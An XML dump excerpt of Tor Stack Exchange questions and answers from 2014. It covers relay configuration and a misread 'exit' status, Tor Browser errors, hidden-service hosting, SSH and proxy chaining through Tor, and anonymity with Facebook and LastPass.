  <row Id="1752" PostTypeId="1" CreationDate="2014-03-19T16:26:15.873" Score="2" ViewCount="2064" Body="&lt;p&gt;&lt;strong&gt;You can find the solution in the end of this post.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Tor relay is working as an Exit, but it is configured with &lt;code&gt;ExitPolicy reject *:*&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9cpdn.png&quot; alt=&quot;relayname is Hanswurst&quot;&gt;&#xA;Hanswurst is the name of my relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Arm is giving me the warning, that the torrc differs from what tor's using.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/785bw.png&quot; alt=&quot;armwarning&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I perform a SIGHUP to reload the &lt;code&gt;torrc&lt;/code&gt;, my relay isn't an exit any longer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7gsZx.png&quot; alt=&quot;sighub performed&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can i trust the arm connection list?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use an RaspberryPi to route all wireless connections through the Tor network. Acting as an Tor client only works really well.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Log notice file /var/log/tor/notices.log&#xA;#DataDirectory /var/tor&#xA;VirtualAddrNetwork 10.192.0.0/10&#xA;AutomapHostsSuffixes .onion,.exit&#xA;AutomapHostsOnResolve 1&#xA;Exitpolicy reject *:*&#xA;StrictNodes 1&#xA;ExitNodes $E0C2C5223F6C219C5D41F57FFDF65661A36BCDA6, ...&#xA;TransPort 9040                      &amp;lt;--------------- Line 23&#xA;TransListenAddress 192.168.42.1&#xA;AvoidDiskWrites 1&#xA;DNSPort 53&#xA;DNSListenAddress 192.168.42.1&#xA;ControlPort 9051&#xA;ControlListenAddress 127.0.0.1:9051&#xA;HashedControlPassword 16:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXx&#xA;DisableDebuggerAttachment 0&#xA;&#xA;##Relaystuff&#xA;ORPort 9000&#xA;Nickname Hanswurst&#xA;RelayBandwidthRate 512 KB&#xA;RelayBandwidthBurst 1024 KB&#xA;ContactInfo sauerbraten[a t]privatdemail{dot]net&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I added the &lt;code&gt;ExitPolicy&lt;/code&gt; parameter in the default config too, but it made no difference. Every time i start the Tor service, my relay works as an exit. When i reload the config it isn't an exit any longer..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is my torrc causing that behavior?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I added the option &lt;code&gt;DisableDebuggerAttachement 0&lt;/code&gt; and got that list. The connections look kinda scary for being a relay..&#xA;&lt;img src=&quot;https://i.stack.imgur.com/A3nEj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit2: Following the &lt;code&gt;notices.log&lt;/code&gt;. I can`t see anything suspicious..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Mar 22 11:45:12.000 [notice] Your Tor server's identity key fingerprint is 'Hanswurst 52211EFD644E7555E849A48D87D1D63A289BB42A'&#xA;Mar 22 11:45:22.000 [notice] Reloaded microdescriptor cache.  Found 17310 descriptors.&#xA;Mar 22 11:45:34.000 [notice] I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus.&#xA;Mar 22 11:45:35.000 [notice] Guessed our IP address as 46.128.228.XXX (source: 193.23.244.244).&#xA;Mar 22 11:45:35.000 [notice] I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus.&#xA;Mar 22 11:45:35.000 [notice] Bootstrapped 5%: Connecting to directory server.&#xA;Mar 22 11:45:36.000 [notice] Heartbeat: Tor's uptime is 0:00 hours, with 1 circuits open. I've sent 2 kB and received 5 kB.&#xA;Mar 22 11:45:36.000 [notice] Bootstrapped 10%: Finishing handshake with directory server.&#xA;Mar 22 11:45:36.000 [notice] Bootstrapped 15%: Establishing an encrypted directory connection.&#xA;Mar 22 11:45:36.000 [notice] Bootstrapped 20%: Asking for networkstatus consensus.&#xA;Mar 22 11:45:36.000 [notice] Bootstrapped 25%: Loading networkstatus consensus.&#xA;Mar 22 11:45:40.000 [notice] Bootstrapped 45%: Asking for relay descriptors.&#xA;Mar 22 11:45:40.000 [notice] I learned some more directory information, but not enough to build a circuit: We have only 0/5310 usable descriptors.&#xA;Mar 22 11:45:42.000 [notice] We'd like to launch a circuit to handle a connection, but we already have 32 general-purpose client circuits pending. Waiting until some finish.&#xA;Mar 22 11:45:43.000 [notice] Bootstrapped 50%: Loading relay descriptors.&#xA;Mar 22 11:45:44.000 [notice] Bootstrapped 52%: Loading relay descriptors.&#xA;Mar 22 11:45:44.000 [notice] I learned some more directory information, but not enough to build a circuit: We have only 96/5310 usable descriptors.&#xA;Mar 22 11:45:45.000 [notice] Bootstrapped 54%: Loading relay descriptors.&#xA;Mar 22 11:45:45.000 [notice] I learned some more directory information, but not enough to build a circuit: We have only 192/5310 usable descriptors.&#xA;&#xA;........&#xA;&#xA;Mar 22 11:46:16.000 [notice] I learned some more directory information, but not enough to build a circuit: We have only 3976/5310 usable descriptors.&#xA;Mar 22 11:46:17.000 [notice] We now have enough directory information to build circuits.&#xA;Mar 22 11:46:17.000 [notice] Bootstrapped 80%: Connecting to the Tor network.&#xA;Mar 22 11:46:18.000 [notice] Bootstrapped 85%: Finishing handshake with first hop.&#xA;Mar 22 11:46:19.000 [notice] Bootstrapped 90%: Establishing a Tor circuit.&#xA;Mar 22 11:46:20.000 [notice] Tor has successfully opened a circuit. Looks like client functionality is working.&#xA;Mar 22 11:46:20.000 [notice] Bootstrapped 100%: Done.&#xA;Mar 22 11:46:20.000 [notice] Now checking whether ORPort 46.128.228.XXX:9000 is reachable... (this may take up to 20 minutes -- look for log messages indicating success)&#xA;Mar 22 11:46:25.000 [notice] Self-testing indicates your ORPort is reachable from the outside. Excellent. Publishing server descriptor.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hey I wanted to close that issue. The main problem was that I confused the EXIT of the internal circuit with the EXIT of the Tor network. 2 tickets exist to clarify that UX problem in ARM. &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/6430&quot; rel=&quot;nofollow noreferrer&quot;&gt;6430&lt;/a&gt; and &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/12956&quot; rel=&quot;nofollow noreferrer&quot;&gt;12956&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I think for non-general-purpose circuits, we should call that third hop something else. I'm open to suggestions -- one option would be to just call the last hop on a non-exit circuit &quot;Middle&quot; also. Another option would be to call it &quot;Internal&quot;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There exist one more stackexchange &lt;a href=&quot;https://tor.stackexchange.com/questions/7376/tor-is-making-me-an-exit-node-despite-configuration&quot;&gt;question&lt;/a&gt; too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In conclusion, what I have seen is that TOR made internal circuits and called me the EXIT of them. That is not really a problem because I am not an EXIT of the Tor network itself.&lt;/p&gt;&#xA;" OwnerUserId="1403" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2016-02-11T09:26:08.323" Title="Tor Relay acts as an Exit with reject *:*" Tags="|configuration|raspberry-pi|exit-policies|" AnswerCount="0" CommentCount="5" ClosedDate="2015-08-25T06:05:45.257" ContentLicense="CC BY-SA 3.0" />
  <row Id="1753" PostTypeId="1" CreationDate="2014-03-19T17:06:36.783" Score="1" ViewCount="21441" Body="&lt;p&gt;So I have a Xperia Live and I'm using Orbot-Orweb.And I want to save images (from Google,DA,etcetera) How can I do it?Normally all I have to do is long click on an image.Now what?&lt;/p&gt;&#xA;" OwnerUserId="1404" LastActivityDate="2014-06-01T20:00:59.037" Title="How to save images while using Orweb?" Tags="|orbot|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1754" PostTypeId="1" CreationDate="2014-03-19T19:20:09.753" Score="3" ViewCount="4255" Body="&lt;p&gt;What is best secure and anonymous Web Server for hosting Tor hidden services?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and how can i remove any information about my Web Server and my Server OS that can be leaked ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what is tor recommendation  about web server software and server os hosting ?&lt;/p&gt;&#xA;" OwnerUserId="1397" LastEditorDisplayName="user5" LastEditDate="2014-03-19T21:46:08.870" LastActivityDate="2019-01-30T05:42:16.983" Title="What is best secure and anonymous Web Server for hosting Tor hidden services?" Tags="|security|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1755" PostTypeId="1" CreationDate="2014-03-20T02:54:27.943" Score="3" ViewCount="662" Body="&lt;p&gt;I want to log how many circuits have been made through my Tor onion router (OR). So if I do some changes in the original source code, how can I make my Tor use that changed source code. I am now using Tor version 0.2.4.21 controlled by Vidalia 0.2.21 in Ubuntu 12.04.&lt;/p&gt;&#xA;" OwnerUserId="1384" LastEditorUserId="88" LastEditDate="2014-06-30T22:49:57.010" LastActivityDate="2014-06-30T22:49:57.010" Title="How to implement the modified source code of Tor?" Tags="|circuit|source-code|ubuntu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1757" PostTypeId="1" CreationDate="2014-03-20T14:24:22.503" Score="1" ViewCount="49" Body="&lt;p&gt;Could anyone help me which file need to change in Tor browser if I want to write into a log file which relays are chosen Whenever a new circuit is established? &lt;/p&gt;&#xA;" OwnerUserId="1410" LastEditorUserId="923" LastEditDate="2014-06-23T15:18:22.983" LastActivityDate="2014-06-23T15:18:22.983" Title="How to log file which relays are chosen by Tor browser" Tags="|relays|log|" AnswerCount="0" CommentCount="2" ClosedDate="2015-08-25T06:03:27.083" ContentLicense="CC BY-SA 3.0" />
  <row Id="1758" PostTypeId="1" CreationDate="2014-03-20T15:03:43.607" Score="2" ViewCount="9516" Body="&lt;p&gt;When I try to open &quot;Start Tor Browser.exe&quot; the error message &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Firefox is already running, but not responding. To open a new window, you must first close the existing Firefox process, or restart your system.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears that I don't have any Firefox window open and in the taskmanager there is no Firefox process until I try to open Tor. The process is firefox.exe and the description says &quot;TorBrowser&quot;. When I close the error message this process disappears.&#xA;I read in other questions, that this problem is connected with Tor being installed in the &quot;program files&quot; folder, but I installed it in a different folder on the hard drive. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yesterday I installed the newest available Version of Firefox (i.e. 28.0) and of the tor-browser-bundle (i.e. 3.5.3). Yesterday I could use it without problems. Then I hid the folder and turned off the computer. And today it didn't work no matter if the folder was hidden or not. I also tried to restart the computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm working on Windows 7 64 bit.&#xA;Does anyone has an idea how I could solve this problem or what the cause could be?&lt;/p&gt;&#xA;" OwnerUserId="1411" LastEditorUserId="923" LastEditDate="2014-09-20T00:19:21.887" LastActivityDate="2015-04-14T23:26:52.520" Title="Error message &quot;Close Firefox&quot; when trying to execute &quot;Start Tor Browser.exe&quot;" Tags="|tor-browser-bundle|windows|" AnswerCount="7" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1759" PostTypeId="1" CreationDate="2014-03-21T02:42:11.840" Score="1" ViewCount="105" Body="&lt;p&gt;Could anyone tell me what command should I write in torrc file so that I can log how many circuits are connecting through my Tor relay?&lt;/p&gt;&#xA;" OwnerUserId="1384" LastEditorUserId="88" LastEditDate="2014-06-23T15:17:12.063" LastActivityDate="2014-06-23T15:17:12.063" Title="what is the command in torrc file to log the number of circuits through my Tor relay?" Tags="|circuit|configuration|log|" AnswerCount="0" CommentCount="0" ClosedDate="2016-09-09T20:47:13.503" ContentLicense="CC BY-SA 3.0" />
  <row Id="1760" PostTypeId="1" CreationDate="2014-03-21T04:50:39.647" Score="2" ViewCount="78" Body="&lt;p&gt;I found in &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#ChooseEntryExit&quot; rel=&quot;nofollow&quot;&gt;Tor FAQ&lt;/a&gt; only:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExitNodes $fingerprint,$fingerprint,...&#xA;    A list of preferred nodes to use for the last hop in the circuit, if possible. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And cite:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;overriding the entry / exit nodes can mess up your anonymity in ways&#xA;  we don't understand.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How exactly this decrease the anonymity? Is there any researches?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there such solution like: &quot;Encrease the numbers of hops for +1&quot;?&lt;/p&gt;&#xA;" OwnerUserId="1245" LastActivityDate="2014-06-01T20:16:01.010" Title="How the overriding of the exit nodes decrease anonymity?" Tags="|exit-relays|exit-policies|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1761" PostTypeId="1" AcceptedAnswerId="1791" CreationDate="2014-03-21T14:44:22.680" Score="3" ViewCount="789" Body="&lt;p&gt;I've read &lt;a href=&quot;http://www.cryptolaw.org/cls2.htm#ru&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.cryptolaw.org/cls2.htm#ru&lt;/a&gt; but also &lt;a href=&quot;https://tor.stackexchange.com/questions/1249/is-there-a-list-of-illegal-tor-areas&quot;&gt;Is there a list of illegal Tor areas?&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm kind of confused, do you guys know anything about this matter?&lt;/p&gt;&#xA;" OwnerUserId="1381" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.203" LastActivityDate="2014-03-24T21:41:20.620" Title="Is it illegal to use Tor and any encryption product in Russia?" Tags="|tor-browser-bundle|encryption|legal|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1762" PostTypeId="1" AcceptedAnswerId="1763" CreationDate="2014-03-21T19:04:42.810" Score="2" ViewCount="147" Body="&lt;p&gt;Are there any security mechanisms that could be activated when somebody logins to the same Google Account multiple times from Tor (with IPs from different countries)?&lt;/p&gt;&#xA;" OwnerUserId="1214" LastActivityDate="2017-01-12T08:44:29.160" Title="Does Google have any security feature that might block an account when logging multiple times from Tor with different identities?" Tags="|security|google|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1763" PostTypeId="2" ParentId="1762" CreationDate="2014-03-21T19:35:26.147" Score="0" Body="&lt;p&gt;Google blocks the account out if one tries to access via any IP address other than the address it was originally established at. It may ask for a phone number or other information before unblocking the account. This behavior is not limited to Tor. If one try to use VPN or even physically move to different location with new IP address this security feature (bug) will activate. If you do not like this feature (bug) use different provider.&lt;/p&gt;&#xA;" OwnerUserId="923" LastActivityDate="2014-03-21T19:35:26.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1764" PostTypeId="1" AcceptedAnswerId="1766" CreationDate="2014-03-22T02:05:48.043" Score="1" ViewCount="435" Body="&lt;p&gt;Some websites have clearnet https and .onion versions, but not both. What are the pros and cons of using each option (assuming they are both accessed over Tor it is important that the data not be read by a third party)?&lt;/p&gt;&#xA;" OwnerUserId="812" LastEditorDisplayName="user5" LastEditDate="2014-03-22T03:11:56.067" LastActivityDate="2014-03-22T03:58:32.190" Title="Which provides better security/anonimity: .onion or https?" Tags="|onion-services|anonymity|security|onion-routing|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1765" PostTypeId="2" ParentId="1544" CreationDate="2014-03-22T02:10:20.080" Score="0" Body="&lt;p&gt;I turned out to be my BIOS settings. The computer went to its pre-loaded OS first. I knew to change them, but I was accidently accessing the startup settings for my default operating system rather than the actual BIOS settings. For anyone who is encountering a similar problem, you should hit the button that takes you to your settings when you see the name of the company that makes the computer, when you see the OS it is too late.&lt;/p&gt;&#xA;" OwnerUserId="812" LastActivityDate="2014-03-22T02:10:20.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1766" PostTypeId="2" ParentId="1764" CreationDate="2014-03-22T03:58:32.190" Score="1" Body="&lt;p&gt;&lt;em&gt;TL;DR — With TLS you have the option to trust a third party (this is not necessarily a good thing) and/or trust the certificate itself, with Tor you must trust the certificate itself with no third party verification (this is not necessarily a bad thing).&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ignoring cryptographic differences for now (let's assume both are secure for the purposes of this question and that you're not using weak cipher suites) the main difference as I see it is one of trust.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you visit a website that is secured with TLS, you are trusting the authority who issued that certificate to have verified the identity of your traffic's destination (third party verification). To a limited extent this means that any certificate authority can vouch for the identity of a given service at any time and you can still trust the fact that you're communicating with the service you thought you were. However, this greatly increases the attack surface (you might trust hundreds of CAs, giving an attacker that many chances to compromise one and generate trusted certificates). In practice, it is a good idea to trust both the certificate authority AND the certificate itself (eg. I know that last time I connected to this site it had this specific certificate, today it has a different one issued by a CA which I trust, but I don't trust it because the certificate has changed). One common way to do this is &lt;a href=&quot;http://en.wikipedia.org/wiki/Certificate_pinning#Certificate_pinning&quot; rel=&quot;nofollow&quot;&gt;certificate pinning&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Tor there is no third party verification, so you are only relying on the equivalent of the certificate to verify that you're connected to the correct service (eg. I trust that &lt;code&gt;xyz&lt;/code&gt; is the correct checksum for the service I want to reach, therefore I trust that &lt;code&gt;xyz.onion&lt;/code&gt; is the service I want to reach).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In both cases it requires that you do your research if you want to verify the identity of the end service, however in the case of HTTPS you also have third party verification in the certificate authority system (I'm not necessarily saying that it's a good second level of verification, but it's a second level all the same).&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastActivityDate="2014-03-22T03:58:32.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1767" PostTypeId="1" AcceptedAnswerId="1777" CreationDate="2014-03-22T13:29:05.480" Score="1" ViewCount="2110" Body="&lt;p&gt;I would like to set something like this Tor-&gt;proxy-&gt;webpage&#xA;I know I can use proxychains.&#xA;In Tails proxychains Tor Browser Bundle without setup proxy settings&#xA;In Whonix I can use it with Icewasel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In whonix I can use Icewasel + Foxyproxy and add socks5 or http proxy and it will works without proxychains cause all will be torified through gateway and its working fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a posibility to use ssh tunnel in Tails or in Whonix?&#xA;If I will bind ssh -D to localhost it will not work cause Tor is working 127.0.0.1 and these settings are in Web Browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is best way to setup Tor-&gt;Proxy-&gt;Web in Whonix and in Tails?&lt;/p&gt;&#xA;" OwnerDisplayName="user732" LastEditorUserId="923" LastEditDate="2014-06-23T15:18:30.017" LastActivityDate="2014-06-23T15:18:30.017" Title="Hide Tor behind proxy?" Tags="|socks|tails|whonix|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1768" PostTypeId="1" CreationDate="2014-03-22T13:37:22.670" Score="2" ViewCount="350" Body="&lt;p&gt;On my VPS server, I would like to set up ssh access only from the Tor network. I know that if I torrify ssh it will be visible only on the Tor network. However, my server works only in clearn and it is not configured Tor. Is there a possibility to configure ssh so as to permit a login from a specific network, and that network will be Tor? Can I define the whole Tor network as the subnet?&lt;/p&gt;&#xA;" OwnerDisplayName="user732" LastActivityDate="2015-05-07T22:15:16.907" Title="How to setup ssh only for Tor?" Tags="|ssh|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1769" PostTypeId="2" ParentId="1741" CreationDate="2014-03-22T17:16:57.747" Score="1" Body="&lt;p&gt;I can see a few possibiltes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have friended anyone in your home country, facebook may be loading results based on what they like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Facebook may be loading results based on the language you have chosen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Facebook may be loading results that are internationally known, or known in most countries that use the language you have chosen (this is particularly likely to happen to a US citizen).&lt;/p&gt;&#xA;" OwnerUserId="812" LastActivityDate="2014-03-22T17:16:57.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1770" PostTypeId="2" ParentId="1741" CreationDate="2014-03-22T18:30:40.457" Score="1" Body="&lt;p&gt;Opening a facebook account in itself could divulge who you are. consider the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You need an email address and/or phone number to open a facebook account. The information you provided to email service and/or phone company could become available to facebook. Based on that facebook can figure out a lot of information about you. Where you live could be part of that information.&lt;/li&gt;&#xA;&lt;li&gt;Your friend list and the communication you make with your friends are available to facebook. If they write in your local languague or even based on content of your communication facebook will learn a lot about you.&lt;/li&gt;&#xA;&lt;li&gt;The list of your likes will tell a lot about you. For example if you like a French TV channel, Facebook start a hypothesis that you maybe from France or resident of France and they test this hypothesis by suggesting interesting options and questions to you.&lt;/li&gt;&#xA;&lt;li&gt;Facebook uses AI (Artificial intelligence) to figure out as much information as possible about you.&lt;/li&gt;&#xA;&lt;li&gt;Pictures that you show or share also tell a lot about you. They may show when, where, with what device, and even possibly other information that may lead to you being uncoverd. Be careful of digital cameras. &lt;/li&gt;&#xA;&lt;li&gt;Even if you do not say anything about yourself, your friends may inadvertently say or show things that may uncover you.&lt;/li&gt;&#xA;&lt;li&gt;In short if you use facebook you will be uncovered sooner or later. You may make it later by not liking anything, not sharing any picture, not friending anybody and so on. But what do you want an anonymous facebook account for if you can not do anything unless you accept that you will be uncoverd. Facebook and being anonymous are oxymoron.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="923" LastActivityDate="2014-03-22T18:30:40.457" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1771" PostTypeId="2" ParentId="1768" CreationDate="2014-03-22T19:51:57.497" Score="1" Body="&lt;p&gt;To define the whole network as subnet, logically, first you would need to know all tor nodes/servers. there are several thousands of nodes and some of them are not public. but if you can collect all that information, maybe it would be possible. but as I know, many tor nodes are at amazon hosting, I think if they just restart server they can change IP address. &lt;/p&gt;&#xA;" OwnerUserId="1421" LastActivityDate="2014-03-22T19:51:57.497" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1772" PostTypeId="2" ParentId="1743" CreationDate="2014-03-22T20:08:07.687" Score="1" Body="&lt;p&gt;You must make it anonymous, it is not anonymous by default. It means you must pay administrator to do it for you. ubuntu is snitching users, there was info about it. I would choose debian + whonix or configure some virtual machine similar to whonix. in that way if somebody makes attack, he will attack virtual machine and not debian (host machine). if you want to pay I can do it for you. I don't know if such offer is allowed here (berkman(at)vfemail.net). &lt;/p&gt;&#xA;" OwnerUserId="1421" LastActivityDate="2014-03-22T20:08:07.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1773" PostTypeId="2" ParentId="1754" CreationDate="2014-03-22T20:21:39.190" Score="1" Body="&lt;p&gt;how much you make it secure, that's how much it will be secured. it means, you will have to pay administrator to do it. it can be nginx or any other, just not apache. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you protect server with installing virtual machine and making hidden service inside VM, in that way attacker can attack VM but not host machine. so, host machine can be debian, for example. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;beside it, you must choose hosting company, if you make mistake at that point, they can betray you or steal info about your users. and don't choose VPS, pay with btc and only at anonymous reg hosting companies, and so on and so on... you have my email.&lt;/p&gt;&#xA;" OwnerUserId="1421" LastEditorUserId="71" LastEditDate="2018-12-20T22:20:06.117" LastActivityDate="2018-12-20T22:20:06.117" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="1777" PostTypeId="2" ParentId="1767" CreationDate="2014-03-22T22:43:49.313" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;In Whonix I can use it with Icewasel.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In Whonix you can use Tor Browser with a post-Tor-proxy (user -&gt; Tor -&gt; proxy) as well. (&lt;a href=&quot;https://www.whonix.org/wiki/Tunnel_Proxy_or_SSH_or_VPN_through_Tor#Tunnel_SSH_through_Tor&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt; [although in need of revision])&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there a posibility to use ssh tunnel in Tails or in Whonix?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If I will bind ssh -D to localhost it will not work cause tor is working 127.0.0.1 and these settings are in Web Browser.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In Whonix: you can change Tor Browser's proxy settings to your local ssh proxy.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What is best way to setup Tor-&gt;Proxy-&gt;Web in Whonix and in Tails?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Depends on what you mean by &quot;best&quot;. I will interpret it as &quot;simplest&quot;. In Whonix: simplest is, set your proxy in Tor Browser's Tor Button proxy settings. (&lt;a href=&quot;https://www.whonix.org/wiki/Tunnel_Proxy_or_SSH_or_VPN_through_Tor#Tunnel_proxy_through_Tor&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt; [although in need of revision])&lt;/p&gt;&#xA;" OwnerUserId="80" LastActivityDate="2014-03-22T22:43:49.313" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1780" PostTypeId="1" CreationDate="2014-03-23T12:29:06.740" Score="6" ViewCount="6143" Body="&lt;p&gt;&lt;strong&gt;could you give me your idea whether using Tor in conjunction with&#xA;the password manager LastPass would compromise my anonymity?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;LastPass stores passwords on their servers. I do not know how often&#xA;it needs to be accessed. Once per browser session (one could switch&#xA;to a new Tor identity afterwards) or before every login to a site.&#xA;&lt;a href=&quot;https://lastpass.com/how-it-works/&quot; rel=&quot;noreferrer&quot;&gt;https://lastpass.com/how-it-works/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am afraid using the LastPass account would allow adversaries to create&#xA;a profile of mine then.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really tried hard to install any other password manager with browser&#xA;extension on my Linux. Only LastPass works. And I really need a tool&#xA;to manage my login data.&lt;/p&gt;&#xA;" OwnerUserId="1427" LastEditorDisplayName="user5" LastEditDate="2014-03-23T15:16:01.990" LastActivityDate="2016-09-10T22:01:34.100" Title="LastPass + Tor = Anonymous?" Tags="|anonymity|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1781" PostTypeId="2" ParentId="1748" CreationDate="2014-03-23T13:38:21.360" Score="2" Body="&lt;p&gt;The guide makes Apache run as  system user &lt;code&gt;debian-tor&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;export APACHE_RUN_USER=debian-tor&#xA;export APACHE_RUN_GROUP=debian-tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but the permissions on &lt;code&gt;/var/www&lt;/code&gt; doesn't get set to &lt;code&gt;debian-tor&lt;/code&gt; as well so probably it's a permission problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;BUT BESIDES THAT:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You shouldn't follow that guide. He configures the &lt;code&gt;HiddenServiceDir&lt;/code&gt; to be &lt;code&gt;/var/www&lt;/code&gt; which is also document root for Apache. And make Apache run as &lt;code&gt;debian-tor&lt;/code&gt;. The &lt;code&gt;HiddenServiceDir&lt;/code&gt; has nothing to do with Apache. It holds information about the Hidden Service. Someone could try to get the &lt;code&gt;private_key&lt;/code&gt; file and hijack your Hidden Service address. Not sure if creator of that guide just don't know what he does (lack of information) or if it's stupidity or pure intention. At least his setup differs from that described in his guide.&lt;/li&gt;&#xA;&lt;li&gt;Apache has a lot of stuff which could reveal information, you should use nginx or lighttpd if you don't know how to secure Apache.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1428" LastEditorUserId="88" LastEditDate="2014-05-22T16:03:14.040" LastActivityDate="2014-05-22T16:03:14.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
